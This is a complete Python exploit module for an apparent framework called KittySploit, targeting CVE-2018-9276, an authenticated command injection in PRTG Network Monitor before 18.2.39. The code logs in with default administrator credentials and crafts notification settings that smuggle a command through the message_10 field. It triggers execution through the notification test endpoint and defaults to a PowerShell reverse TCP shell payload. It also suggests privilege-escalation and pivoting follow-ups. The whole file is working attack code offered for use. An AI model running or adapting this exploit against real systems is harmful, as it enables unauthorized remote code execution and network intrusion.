PRTG Network Monitor < 18.2.39 - Authenticated Command Injection RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import json
import re
import time
from typing import List, Optional, Tuple
from urllib.parse import quote_plus

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):

    AFFECTED_VERSION = (18, 2, 39)
    DEFAULT_FILE = r"C:\Users\Public\tester.txt"
    OUTFILE_BAT = "Demo+EXE+Notification+-+OutFile.bat"
    OUTFILE_PS1 = "Demo+EXE+Notification+-+OutFile.ps1"
    NOTIFICATION_SUFFIX = (
        "&tags_=&active_=1&schedule_=-1%7CNone%7C&postpone_=1&comments=&summode_=2"
        "&summarysubject_=%5B%25sitename%5D+%25summarycount+Summarized+Notifications"
        "&summinutes_=1&accessrights_=1&accessrights_=1&accessrights_201=0"
        "&active_1=0&addressuserid_1=-1&addressgroupid_1=-1&address_1=&subject_1="
        "%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)"
        "&contenttype_1=text%2Fhtml&customtext_1=&priority_1=0"
        "&active_17=0&addressuserid_17=-1&addressgroupid_17=-1"
        "&message_17=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)"
        "&active_8=0&addressuserid_8=-1&addressgroupid_8=-1&address_8=&message_8="
        "%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)"
        "&active_2=0&eventlogfile_2=application&sender_2=PRTG+Network+Monitor&eventtype_2=error"
        "&message_2=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)"
        "&active_13=0&sysloghost_13=&syslogport_13=514&syslogfacility_13=1&syslogencoding_13=1"
        "&message_13=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)"
        "&active_14=0&snmphost_14=&snmpport_14=162&snmpcommunity_14=&snmptrapspec_14=0"
        "&messageid_14=0&message_14=%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)"
        "&senderip_14=&active_9=0&url_9=&urlsniselect_9=0&urlsniname_9=&postdata_9="
        "&active_10=0&active_10=10&address_10={address}&message_10=%22{message}%22"
        "&windowslogindomain_10=&windowsloginusername_10=&windowsloginpassword_10=&timeout_10=60"
        "&active_15=0&accesskeyid_15=&secretaccesskeyid_15=&arn_15=&subject_15=&message_15="
        "%5B%25sitename%5D+%25device+%25name+%25status+%25down+(%25message)"
        "&active_16=0&isusergroup_16=1&addressgroupid_16=200%7CPRTG+Administrators"
        "&ticketuserid_16=100%7CPRTG+System+Administrator"
        "&subject_16=%25device+%25name+%25status+%25down+(%25message)"
        "&message_16=Sensor%3A+%25name%0D%0AStatus%3A+%25status+%25down%0D%0A%0D%0A"
        "Date%2FTime%3A+%25datetime+(%25timezone)%0D%0ALast+Result%3A+%25lastvalue%0D%0A"
        "Last+Message%3A+%25message%0D%0A%0D%0AProbe%3A+%25probe%0D%0AGroup%3A+%25group%0D%0A"
        "Device%3A+%25device+(%25host)%0D%0A%0D%0ALast+Scan%3A+%25lastcheck%0D%0ALast+Up%3A+%25lastup%0D%0A"
        "Last+Down%3A+%25lastdown%0D%0AUptime%3A+%25uptime%0D%0ADowntime%3A+%25downtime%0D%0A"
        "Cumulated+since%3A+%25cumsince%0D%0ALocation%3A+%25location%0D%0A%0D%0A"
        "&autoclose_16=1&objecttype=notification&id=new&targeturl=%2Fmyaccount.htm%3Ftabid%3D2"
    )

    __info__ = {
        "name": "PRTG Network Monitor < 18.2.39 - Authenticated Command Injection RCE",
        "description": (
            "CVE-2018-9276 — authenticated remote code execution via command injection in "
            "PRTG EXE notification settings. Logs in as a PRTG administrator, stages an "
            "OutFile notification, then injects a command through message_10 and triggers "
            "execution via /api/notificationtest.htm. Ensure a listener is available."
        ),
        "author": ["wildkindcc", "M4LVO", "KittySploit Team"],
        "cve": ["CVE-2018-9276"],
        "arch": [Arch.X86, Arch.X64],
        "platform": Platform.WINDOWS,
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2018-9276",
            "https://www.exploit-db.com/exploits/46527",
        ],
        "tags": [
            "prtg",
            "authenticated",
            "command-injection",
            "rce",
            "windows",
            "cve-2018-9276",
        ],
        "payload": {
            "default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
            "arch": Arch.OTHER,
            "platform": Platform.WINDOWS,
            "category": PayloadCategory.SINGLE,
        },
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 8,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    port = OptPort(80, "PRTG web interface port", required=True)
    ssl = OptBool(False, "Use HTTPS for the PRTG web interface", required=True)

    username = OptString("prtgadmin", "PRTG administrator username", required=False)
    password = OptString("prtgadmin", "PRTG administrator password", required=False)
    file_location = OptString(
        DEFAULT_FILE,
        "Writable path used to prime the EXE OutFile notification",
        required=False,
        advanced=True,
    )
    trigger_delay = OptInteger(
        5,
        "Seconds to wait between staging a notification and triggering it",
        required=False,
        advanced=True,
    )
    skip_version_check = OptBool(
        False,
        "Attempt exploit even when the Server header version appears patched",
        required=False,
        advanced=True,
    )

    def _parse_version_parts(self, version: str) -> Optional[List[int]]:
        if not version:
            return None
        match = re.search(r"(\d+)\.(\d+)\.(\d+)", version)
        if not match:
            return None
        return [int(match.group(i)) for i in range(1, 4)]

    def _version_lt(self, parts: List[int], bound: Tuple[int, int, int]) -> bool:
        for left, right in zip(parts, bound):
            if left < right:
                return True
            if left > right:
                return False
        return False

    def _version_vulnerable(self, server_header: str) -> Optional[bool]:
        parts = self._parse_version_parts(server_header)
        if not parts:
            return None
        return self._version_lt(parts, self.AFFECTED_VERSION)

    def _ajax_headers(self) -> dict:
        return {
            "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
            "X-Requested-With": "XMLHttpRequest",
        }

    def _fetch_server_version(self) -> Tuple[Optional[str], Optional[str]]:
        response = self.http_request(method="GET", path="/", timeout=15, allow_redirects=True)
        if not response:
            return None, None
        server = response.headers.get("Server", "")
        if not server:
            return None, None
        return server, server

    def _login(self) -> bool:
        payload = (
            "loginurl=%2Fmyaccount.htm%3Ftabid%3D2"
            f"&username={quote_plus(self.username)}"
            f"&password={quote_plus(self.password)}"
        )
        response = self.http_request(
            method="POST",
            path="/public/checklogin.htm",
            data=payload,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            timeout=20,
            allow_redirects=True,
        )
        if not response:
            return False
        if self.session.cookies.get_dict():
            return True
        return bool(response.headers.get("Set-Cookie", ""))

    def _build_editsettings_body(self, name: str, address: str, message: str) -> str:
        encoded_message = quote_plus(message)
        suffix = self.NOTIFICATION_SUFFIX.format(address=address, message=encoded_message)
        return f"name_={quote_plus(name)}{suffix}"

    def _create_notification(self, address: str, message: str) -> Optional[int]:
        name = self.random_text(8).lower()
        body = self._build_editsettings_body(name, address, message)
        response = self.http_request(
            method="POST",
            path="/editsettings",
            data=body,
            headers=self._ajax_headers(),
            timeout=30,
            allow_redirects=True,
        )
        if not response or response.status_code >= 400:
            print_error(f"editsettings failed (HTTP {getattr(response, 'status_code', None)})")
            return None
        try:
            payload = json.loads(response.text or "")
        except json.JSONDecodeError:
            print_error("editsettings did not return JSON with objid")
            return None
        objid = payload.get("objid")
        if objid is None:
            print_error("editsettings response missing objid")
            return None
        print_success(f"Notification staged ({address}) objid={objid}")
        return int(objid)

    def _trigger_notification(self, objid: int) -> bool:
        response = self.http_request(
            method="POST",
            path="/api/notificationtest.htm",
            data=f"id={objid}",
            headers=self._ajax_headers(),
            timeout=30,
            allow_redirects=True,
        )
        if not response:
            print_error("notificationtest request failed")
            return False
        body = response.text or ""
        if "EXE notification is queued up" not in body:
            print_error("notificationtest did not queue EXE notification")
            print_debug(body[:500])
            return False
        print_success(f"Notification {objid} queued for execution")
        return True

    def _stage_file(self, file_location: str) -> bool:
        objid = self._create_notification(self.OUTFILE_BAT, file_location)
        if objid is None:
            return False
        time.sleep(max(1, int(self.trigger_delay)))
        return self._trigger_notification(objid)

    def _execute_command(self, file_location: str, command: str) -> bool:
        message = f"{file_location};{command}"
        objid = self._create_notification(self.OUTFILE_PS1, message)
        if objid is None:
            return False
        time.sleep(max(1, int(self.trigger_delay)))
        return self._trigger_notification(objid)

    def check(self):
        server_header, _ = self._fetch_server_version()
        if not server_header:
            return {
                "vulnerable": False,
                "reason": "No Server header or target not reachable",
                "confidence": "low",
            }

        if "prtg" not in server_header.lower():
            return {
                "vulnerable": False,
                "reason": f"Server header does not look like PRTG ({server_header})",
                "confidence": "medium",
            }

        vuln = self._version_vulnerable(server_header)
        if vuln is True:
            return {
                "vulnerable": True,
                "reason": f"{server_header} < 18.2.39 (CVE-2018-9276)",
                "confidence": "high",
            }
        if vuln is False:
            return {
                "vulnerable": False,
                "reason": f"{server_header} appears patched (>= 18.2.39)",
                "confidence": "high",
            }
        return {
            "vulnerable": True,
            "reason": f"PRTG detected ({server_header}) but version could not be parsed",
            "confidence": "medium",
        }

    def run(self):
        print_status("CVE-2018-9276 — PRTG authenticated command injection")

        command = str(self.payload).strip() if self.payload else ""
        if not command:
            print_error("No payload generated. Set a Windows payload (e.g. powershell_reverse_tcp).")
            return False

        server_header, _ = self._fetch_server_version()
        if not server_header:
            print_error("Target unreachable or missing Server header")
            return False

        if "prtg" not in server_header.lower():
            print_warning(f"Unexpected Server header: {server_header}")

        vuln = self._version_vulnerable(server_header)
        if vuln is True:
            print_success(f"{server_header} is vulnerable (< 18.2.39)")
        elif vuln is False:
            print_warning(f"{server_header} appears patched (>= 18.2.39)")
            if not self.skip_version_check:
                self.not_vulnerable()
                return False
        else:
            print_warning(f"Could not parse PRTG version from: {server_header}")

        print_status(f"Authenticating as {self.username}...")
        if not self._login():
            print_error("Login failed — check credentials")
            return False
        print_success(f"Session obtained for {self.username}")

        file_location = str(self.file_location)
        print_status(f"Priming OutFile notification at {file_location}...")
        if not self._stage_file(file_location):
            print_error("Failed to stage OutFile notification")
            return False

        print_status("Injecting command via EXE notification...")
        if not self._execute_command(file_location, command):
            print_error("Command injection trigger failed")
            return False

        print_info(f"Payload dispatched — check listener on {self.lhost}:{self.lport}")
        self.vulnerable()
        return True